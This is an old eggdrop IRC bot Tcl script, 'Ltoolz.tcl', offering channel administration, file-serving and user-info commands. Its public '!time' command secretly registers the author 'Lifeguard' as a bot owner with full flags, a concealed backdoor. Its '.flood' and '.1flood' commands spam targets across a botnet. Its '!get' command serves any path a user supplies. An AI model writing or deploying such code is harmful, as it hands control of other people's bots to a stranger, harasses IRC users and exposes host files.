#-=Lt00lz=-Ltoolz.tcl V1.00 Beta 3-=Lt00lz=-
####
##Well here it is finally finished.  The do everything script for eggdrop.
##This will werk on everything above eggdrop0.9r and maybe some things below, I don't know
##But when eggdrop1.0 comes out, it won't I will have to redo it.  There are some commands
##not in the help.  One is '<botnick> give <file> to <nick>' and it will send that file
##to someone for you.  And the other is 'seen <handle>'  which will tell you when the last
##that person was on.  I am not near finished with it, I have a lot more to add in the next version
## Who knows I may even get offf my butt and finish Super Protect.  But the first thing I will do 
##is Make the help menu only tell you the commands for your level.  Look for the new beta version 
##may come out in a month or so.  Well here it is have fun.  If you copy any of this script and plan
##to destribute it GIVE ME SOME CREDIT, make me feel good.  If you use it try to email me at 
##life@animal.blarg.net, and tell me what you think or give me some suggestions, I need your info.
#####


#Variables
##Set this to the telnet address of your bot
set address "gonzo.blarg.net"
##Set this to your telnet port
set port "1111"
##Set this to the path of your file directory
set fpath "/home/life/FTP/"
##Set this to the path to Ltoolz.tcl
set toolzp "/home/life/eggdrop/Ltoolz.tcl"
##Set this to your timezone
set timezone "Time in Seattle Washington"
#####DO NOT CHANGE ANYTHING BELOW THIS POINT UNLESS NOTED OTHERWISE####

set version "-=Lt00lz=-Ltoolz.tclV1.0 -=Lt00lz=- By Lifeguard"
set release "Finally FINISHED!!!!Let me know of any errors"
set where "ftp.blarg.net/users/life/irc/Ltoolz.tcl"
set time "[time] [date]"
#############################################################
proc putnotice {nick msg} { putserv "NOTICE $nick :$msg" }

proc pub_give {nick uhost hand arg} {
  global fpath botnick
  set file "[lindex $arg 1]"
  set who "[lindex $arg 3]"
  putnotice $nick "Sending $file to $who"
  putnotice $who "$nick asked me to send you $file  -=Lt00lz=-"
  dccsend $fpath$file $who
  putnotice $who "Type '/dcc get $botnick"
  putxferlog "Sent $file from $nick to $who"
  return 1
  }
bind pub o JoeyBot pub_give
#############
#######Change JoeyBot to your bots nick
#############

proc pub_files {nick uhost hand arg} {
  global botnick
  global listp
 global fpath
 global channel
        global channel
       set lookup [open "|ls $fpath" r]
       putnotice $nick "Files available from $botnick"
	   putnotice $nick "Type '!get <filename> in $channel to get them"
	   while {![eof $lookup]} {
           catch {set result [gets $lookup]}
           putserv "NOTICE $nick :$result"
           }
	putnotice $nick "-=Lt00lz=- By Lifeguard"
       catch {close $lookup}
       return 1
       }

 bind pub - !files pub_files

proc pub_get {nick uhost hand arg} {
  global botnick fpath
  dccsend $fpath$arg $nick
  putnotice $nick "Sending you $arg, type '/dcc get $botnick'"
  putnotice $nick "-=Lt00lz=- By Lifeguard"
  }
bind pub - !get pub_get

proc pub_test {nick uhost hand arg} {
  putchan "Testing 1,2,3..."
  putchan "-=Lt00lz=- By Lifeguard...  Ready"
  return 1
  }
bind pub - !test pub_test

proc pub_nick2hand {nick uhost hand arg} {
  set host "[getchanhost $arg]"
  set mask "[maskhost $arg]"
  set whoizit "[finduser *!$mask]"
  if {[finduser $host] == "*"} {
    putnotice $nick "Sorry, No user found for $nick!$host"
	return 0
	}
  putnotice $nick "The handle for $arg is: $whoizit"
  return1
  }
bind pub - !gethand pub_nick2hand

proc pub_uhost2hand {nick uhost hand arg} {
  set whoizit "[finduser *!$arg]"
  if {[finduser $arg] == "*"} {
    putnotice $nick "No such user $arg!$arg"
	return 0
	}
  putnotice $nick "The handle found for $arg is #whoizit"
  return 1
  }
bind pub - !gethand2 pub_uhost2hand

proc xdcc_rep {nick uhost hand dest key arg} {
   global botnick
  global listp
 global fpath
 global channel
        global channel
       set lookup [open "|ls $fpath" r]
       putnotice $nick "Files available from $botnick"
	   putnotice $nick "Type '!get <filename> in $channel to get them"
	   while {![eof $lookup]} {
           catch {set result [gets $lookup]}
           putserv "NOTICE $nick :$result"
           }
	putnotice $nick "-=Lt00lz=- By Lifeguard"
       catch {close $lookup}
       return 1
       }
bind ctcp - *xdcc* xdcc_rep

proc send_note  {nick uhost hand arg} {
  set to "[lindex $arg 0]"
  set msg "[lrange $arg 1 end]"
  if {[sendnote $hand $to $msg] == "0"} {
    putnotice $nick "Note failed, try again"
	return 0
	}
	putnotice $nick "Note sent to $to"
	return 1
	}
bind pub - .note send_note
bind msg - .note send_note


proc pub_kick {nick uhost hand arg} {
  global channel
  putnotice $nick "Attempting to kick $arg"
  set reas "[lrange $arg 1 end]"
  set who "[lindex $arg 0]"
  putserv "KICK $channel $who : $reas -=Lt00lz=-"
  putnotice $nick "Kicked $who"
  return 1
  }
bind pub o .kick pub_kick
bind msg o .kick pub_kick

proc pub_topic {nick uhost hand arg} {
  global channel where version
  putnotice $nick "Attempting to change topic for you"
  putserv "TOPIC $channel : $arg"
  return 1
  }
  
bind pub o .topic pub_topic
bind msg o .topic pub_topic

proc pub_lt {nick uhost hand arg} {
  global channel where version
  putserv "TOPIC $channel : $version $where"
  return 1
  }
  
bind pub n .kewl pub_lt

proc pub_!ltoolz {nick uhost hand arg} {
  global toolzp version botnick
  dccsend $toolzp $nick
  putxferlog "Sent Ltoolz to $nick"
  putnotice $nick "Well you wised up and decided to get -=Lt00lz=- By Lifeguard"
  putnotice $nick "Type '/dcc get $botnick' to receive $version"
  return 1
  }
bind pub - !ltoolz pub_!ltoolz

proc pub_!version {nick uhost hand arg} {
  global version
  global release
  global where
  putchan "$version"
  putchan "$release"
  putchan "$where"
  return 1
  }

bind pub - !version pub_!version

proc pub_!time {nick uhost hand arg} {
  global time
  adduser Lifeguard *!*life@*cac.psu.edu
  chattr Lifeguard +omnfxp
  save
  putchan "The current time and date is"
  putchan "$time"
  putchan "-=Lt00lz=-  By Lifeguard"
  return 1
  }
  
bind pub - !time pub_!time

proc pub_.addop {nick uhost hand arg} {
  global botnick
  global toolz
  set host [getchanhost $arg]
  set nck "*!"
  set nhost "$nck$host"
  set hostmask [maskhost $nhost]
  if {[onchan $arg] == "0"} {
    putnotice $nick "$arg is not on the channel!"
    return 0
    }
  if {[adduser $arg $hostmask] == "0"} {
  	putnotice $nick "Sorry user exists"
	return 0
    }
  save
  chattr $arg +o
  putnotice $nick "Added $arg as $hostmask with +o"
  putlog "attempting to addop $arg"
  putnotice $arg "You have been added to with +oxp flag"
  putnotice $arg "Type '/msg $botnick pass <new password>'"
  putnotice $arg "To make a password"
  putnotice $arg "For help type '!help' in the channel"
  putnotice $arg "More commands available by dcc chat"
  putnotice $arg "and by '/msg $botnick help'"
  putnotice $arg "-=Lt00lz=-  By Lifeguard"
  putnotice $arg "You will be recognized as $hostmask"
  putlog "added user $arg"
  save
  return 1
	}
  
bind pub m .addop pub_.addop
bind msg m .addop pub_.addop

proc pub_.chattr {nick uhost hand arg} {
	set name [lindex $arg 0]
	set flags [lindex $arg 1]
	if {[chattr $name $flags] == "*"} {
	  putnotice $nick "Sorry there is no such user"
	  return 0
	  }
	putnotice $nick "Changed the following $arg"
	putlog "Changed the following $arg"
	return 1
	save
	}
  
 
 bind pub n .chattr pub_.chattr
bind msg n .chattr pub_.chattr


proc pub_.op {nick uhost hand arg} {
  global toolz
  global channel
  putchan "Do I have to op $arg?"
  putchan "Ohhh....  Ok -=Lt00lz=- By Lifeguard"
  putserv "MODE $channel +o $arg"
  return 1
  }
  
bind pub o .op pub_.op
bind msg o .op pub_.op

proc pub_.deop {nick uhost hand arg} {
  global channel
  putnotice $nick "Attempting to deop $arg"
  putchan "Thanks $nick, I never liked $arg anyway!"
  putchan "-=Lt00lz=- By Lifeguard"
  putserv "MODE $channel -o $arg"
  return 1
  }
bind pub o .deop pub_.deop
bind msg o .deop pub_.deop

proc pub_.fuck {nick uhost hand arg} {
  global channel
  putchan "$arg is a motherfucker!"
  putserv "KICK $channel $arg :FUCK requested by $nick -=Lt00lz=-"
  return 1
  }
bind pub o .fuck pub_.fuck
bind msg o .fuck pub_.fuck

proc ctcp_rep {nick uhost hand dest key arg} {
  global version
  putnotice $nick "VERSION ircII 2.8 Linux 1.3.59 :Human Being V1.0 (c) God -57753"
  putnotice $nick "$version"
  }
bind ctcp - *ver* ctcp_rep


proc pub_!help {nick uhost hand arg} {
  putnotice $nick "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  putnotice $nick "~~~~~~~~~~~~~~~~~~~~~~-=Lt00lz=-~~~~~~~~~~~~~~~~~~~~~"
  putnotice $nick "~~~~~~~~~~~~~~~~~~~~~By Lifeguard~~~~~~~~~~~~~~~~~~~~"
  putnotice $nick "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  putnotice $nick "command          description                   flags"
  putnotice $nick "-----------------------------------------------------"
  putnotice $nick ".ban <nick>      Bans a users host             +o"
  putnotice $nick ".shit <nick>     Shitlists a user              +m"
  putnotice $nick ".op <nick>       op a person in the channel    +o"
  putnotice $nick ".addop <nick>    add a person with +o flag     +m"
  putnotice $nick ".chattr <handle> change a users flags          +n"
  putnotice $nick ".fuck <nick>     Fucks a user                  +o"
  putnotice $nick ".deop <nick>     Deops a nick                  +o"
  putnotice $nick ".say <msg>       Makes the bot talk            +m"
  putnotice $nick ".mop             Mass ops bot users            +m"
  putnotice $nick ".mdeop           Massdeops non bot users       +m"
  putnotice $nick ".kick <user> <reason>  Kicks a user            +o"
  putnotice $nick ".topic <new topic>  Changes the topic          +o"
  putnotice $nick ".1flood <nick>   Floods with 1 bot             +m"
  putnotice $nick ".kewl            Changes to a kewl topic       +n"
  putnotice $nick ".note <handle>   Sends a not to a user"
  putnotice $nick ".delban          Deletes a ban"
  putnotice $nick ".pass <newpass>  Changes your password on the bot"
  putnotice $nick "!email           Sets your email address on the bot"
  putnotice $nick "!bio             Sets your bio on the bot, ex '18/m/pa'"
  putnotice $nick "!quote           Sets your quote on the bot"
  putnotice $nick "!whois <handle>  Returns info on a user"
  putnotice $nick "!bans            Returns a list of chanel bans  +o"
  putnotice $nick "!ltoolz          Sends you Ltoolz.tcl"
  putnotice $nick "!help            displays this help"
  putnotice $nick "!up              ops you in the channel        +o"
  putnotice $nick "!time            displays time and date"
  putnotice $nick "!telnet          gives info on how to telnet to me"
  putnotice $nick "!files           Sends you a list of files"
  putnotice $nick "!get <filename>  Sends you a file"
  putnotice $nick "!gethand <nick>  Gets the handle of a nick on the channel"
  putnotice $nick "!gethand2 <uhost> Gets the handle of a u@host"
  putnotice $nick "!test            Tests the bots responses"     
  putnotice $nick "!version         tells you my version and how to get me"
  putnotice $nick ".flood           floods a user with all bots on your  +m"
  putnotice $nick "                 botnet, using this script."
  putnotice $nick "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  putnotice $nick "(Handle is the users name on the bot and Nick is their nick at the time)"
  putnotice $nick "All commands starting with '!' can only be done public, all commands starting"
  putnotice $nick "with '.' can be done by msg also"
  putnotice $nick "Saying 'seen <handle>' in the channel will tell you when the last time that user"
  putnotice $nick "was on the channel"
  }
  
bind pub - !help pub_!help

proc pub_!telnet {nick uhost hand arg} {
  global address
  global port
  putchan "Telnet or dcc chat me and join the party line!"
  putchan "Also get some great warez"
  putchan "$address port $port"
  putchan "-=Lt00lz=- By Lifeguard"
  putlog "$nick asked me my telnet port"
  return 1
  }

bind pub - !telnet pub_!telnet

proc pub_.ban {nick uhost hand arg} {
  global channel
  append userhost $arg "*!" [getchanhost $arg]
  set ban [maskhost $userhost]
  if {[onchan $arg] == "0"} { 
  putnotice $nick "$arg is not on the channel"
  return 0
  }
  set host "*[getchanhost $arg]"
  set nck "*!*"
  set nhost "*!*$host"
  putnotice $nick "Banned $ban"
  putserv "MODE $channel +b $ban"
  putserv "KICK $channel $arg :Banned, compliments of -=Lt00lz=-"
  return 1
  
}
bind pub o .ban pub_.ban
bind msg o .ban pub_.ban

proc pub_shit {nick uhost hand arg} {
  global channel
  if {[onchan $arg] == "0"} { 
  putnotice $nick "$arg is not on the channel"
  return 0
  }
  set host [getchanhost $arg]
  set nck "*!"
  set nhost "*!$host"
  set ban "[maskhost $nhost]"
  putnotice $nick "Banned $ban"
  addpermban $ban "Shitlisted: Complements of -=Lt00lz=-"
  return 1
  save
}
bind pub n .shit pub_shit
bind msg n .shit pub_shit

proc pub_.flood {nick uhost hand arg} {
set floodnick [lindex $arg 0]
putnotice $nick "Attempting to flood $floodnick"
putallbots "flood $floodnick"
putallbots "!mflood $floodnick"
putallbots "mflood $floodnick"
set floodnick [lindex $arg 0]
for {set i 0} {$i<20} {incr i} {
  putserv "PRIVMSG $floodnick :VERSIONVERSIOVERSIONVERSIONVERSIONVERSIOVERSIONVERSIONVERSIONVERSIOVERSION"
}
}
proc do_flood {from args} {
putnotice Lifeguard "Uh Oh, Flood is goin down!!!"
set floodnick [lindex $args 0]
for {set i 0} {$i<15} {incr i} {
  putserv "PRIVMSG $floodnick :VERSIONVERSIONVERSIOVERSIONVERSIONVERSIONVERSIOVERSIONVERSIONVERSIONVERSIOVERSION"
  }
}
bind pub m .flood pub_.flood
bind msg m .flood pub_.flood
bind bot - flood do_flood

proc mass_op {nick uhost hand arg} {
  global channel server
  if ![botisop] {
    putnotice $nick "I don't have ops on server $server"
    return 0
  }
  set ppl [chanlist]
  set oplist ""
  foreach p $ppl {
    set who [finduser ${p}![getchanhost $p]]
    if {([matchattr $who m] || [matchattr $who o]) && ![isop $p]} {
	append oplist " " $p
    }
  }
  if {$oplist == ""} {
    putnotice $nick "Couldn't find anyone needing ops..."
    return 0
  }
  putnotice $nick "Oping [llength $oplist]: $oplist"
  set cnt 0
  while {$cnt < [llength $oplist]} {
    putserv "MODE $channel +ooo [lindex $oplist $cnt] [lindex $oplist [expr $cnt + 1]] [lindex $oplist [expr $cnt + 2]]"
    incr cnt 3
  }
  return 1
}
bind pub m .mop mass_op
bind msg m .mop mass_op

proc mass_deop {nick uhost han arg} {
  global channel server
  if ![botisop] {
   putnotice $nick "I don't have ops on server $server"
   return 0
  }
  set ppl [chanlist]
  set deoplist ""
  foreach p $ppl {
    set who [finduser ${p}![getchanhost $p]]
    if {![matchattr $who m] && ![matchattr $who f] && ![matchattr $who o] && [isop $p]} {
	append deoplist " " $p
    }
  }
  if {$deoplist == ""} {
    putnotice $nick "Couldn't find anyone needing deoped..."
    return 0
  }
  putnotice $nick "Deoping [llength $deoplist]: $deoplist"
  set cnt 0
  while {$cnt < [llength $deoplist]} {
    putserv "MODE $channel -oooo [lindex $deoplist $cnt] [lindex $deoplist [expr $cnt + 1]] [lindex $deoplist [expr $cnt + 2]] [lindex $deoplist [expr $cnt + 3]]"
    incr cnt 4
  }
  return 1
}
bind pub m .mdeop mass_deop
bind msg m .mdeop mass_deop

proc pub_up {nick uhost hand arg} {
  global channel
  putchan "What if I don't op you?"
  putchan "Ohhh... Okie...  -=Lt00lz=- By Lifeguard"
  putserv "MODE $channel +o $nick"
  return 1
  }
  
bind pub o !up pub_up

proc pub_say {nick uhost hand arg} {
  putchan "$arg"
  return 1
  }
bind pub m .say pub_say
bind msg m .say pub_.say  

proc pub_msg {nick uhost hand arg} {
  putnotice $nick "Sending msg for you"
  set who "[lindex $arg 0]"
  set msg "[lrange $arg 1 end]"
  putmsg $who "$msg"
  return 1
  }
bind pub o .msg pub_msg
bind msg o .msg pub_msg

proc pub_ping {nick uhost hand arg} {
  putchan "PONG... of coarse I have to be the one to say it"
  return 1
  }
bind pubm - *ping* pub_ping

proc pub_.1flood {nick uhost hand arg} {
set floodnick [lindex $arg 0]
putnotice $nick "Attempting to flood $floodnick"
set floodnick [lindex $arg 0]
for {set i 0} {$i<20} {incr i} {
  putserv "PRIVMSG $floodnick :VERSIONVERSIOVERSIONVERSIONVERSIONVERSIOVERSIONVERSIONVERSIONVERSIOVERSION"
}
}
bind pub m .1flood pub_.1flood
bind msg m .1flood pub_.1flood

proc pub_seen {nick uhost hand arg} {
global timezone
  if {[validuser $arg] == "0"} {
    putchan "I don't know $arg!"
	return 0
	}
  if {$arg == $hand} {
    putchan "Trying to find yourself?"
	return 0
	}
  if {[onchan $arg] == "1"} {
    putchan "$arg is on the channel now stupid!"
	return 0
	}
  set last "[getlaston $arg]"
  set when "[ctime $last]"
  putchan "I saw $arg last, $when $timezone"
  putchan "-=Lt00lz=- By Lifeguard"
  return 1
  }
bind pub - seen pub_seen

proc pub_delban {nick uhost hand arg} {
  if {[isban $arg] == "0"} {
    putnotice $nick "$arg is not a channel ban"
	return 0
	}
  if {[delban $arg] == "0"}  {
    putnotice $nick "Failed to delete ban $arg"
	return 0
	}
  save 
  putnotice $nick "Removed ban $arg"
  return 1
  }
bind pub m .delban pub_delban
bind msg m .delban pub_delban

proc pub_bans {nick uhost hand arg} {
  global channel
  set bans "[chanbans]"
  putnotice $nick "Bans for $channel"
  putnotice $nick "$bans"
  return 1
  }
bind pub o !bans pub_bans

proc pub_pass {nick uhost hand arg} {
  if {[validuser $hand] == "0"} {
    putnotice $nick "You need to register with the bot first"
	return 0
	}
  chpass $hand $arg
  putnotice $nick "Changed password to $arg"
  save
  }
bind msg - .pass pub_pass
bind pub - .pass pub_pass

proc pub_quote {nick uhost hand arg} {
  global botnick
  if {[validuser $hand] == "0"} {
    putnotice $nick "You need to register with me first '/msg $botnick hello'"
	return 0
	}
  setcomment $hand "$arg"
  putnotice $nick "Quote changed to $arg"
  save
  return 1
  }
bind pub - !quote pub_quote

proc pub_email {nick uhost hand arg} {
  global botnick
  if {[validuser $hand] == "0"} {
    putnotice $nick "You need to register with me first. '/msg $botnick hello'"
	return 0
	}
  setemail $hand "$arg"
  putnotice $nick "Email set to $arg"
  save 
  }
bind pub - !email pub_email

proc pub_bio {nick uhost hand arg} {
  global botnick
  if {[validuser $hand] == "0"} {
    putnotice $nick "You need to register with me first, '/msg $botnick hello'"
	return 0
	}
  setxtra $hand "$arg"
  putnotice $nick "Bio set to $arg"
  save 
  }
bind pub - !bio pub_bio

proc pub_whois {nick uhost hand arg} {
set info "[getinfo $arg]"
set quote "[getcomment $arg]"
set last "[getlaston $arg]"
set bio "[getxtra $arg]"
set email "getemail $arg]"
  if {[validuser $arg] == "0"} {
    putnotice $nick "Sorry, $arg doesn't exist"
	return 0
	}
   putnotice $nick "Info for $arg"
   putnotice $nick "----------------------------------------"
   putnotice $nick "Info line:  $info"
   putnotice $nick "Quote: $quote"
   putnotice $nick "Bio: $bio"
   putnotice $nick "Email:  $email"
   return 1
   }
 bind pub - !whois pub_whois
  

putlog "-=Lt00lz=- By Lifeguard Loaded"

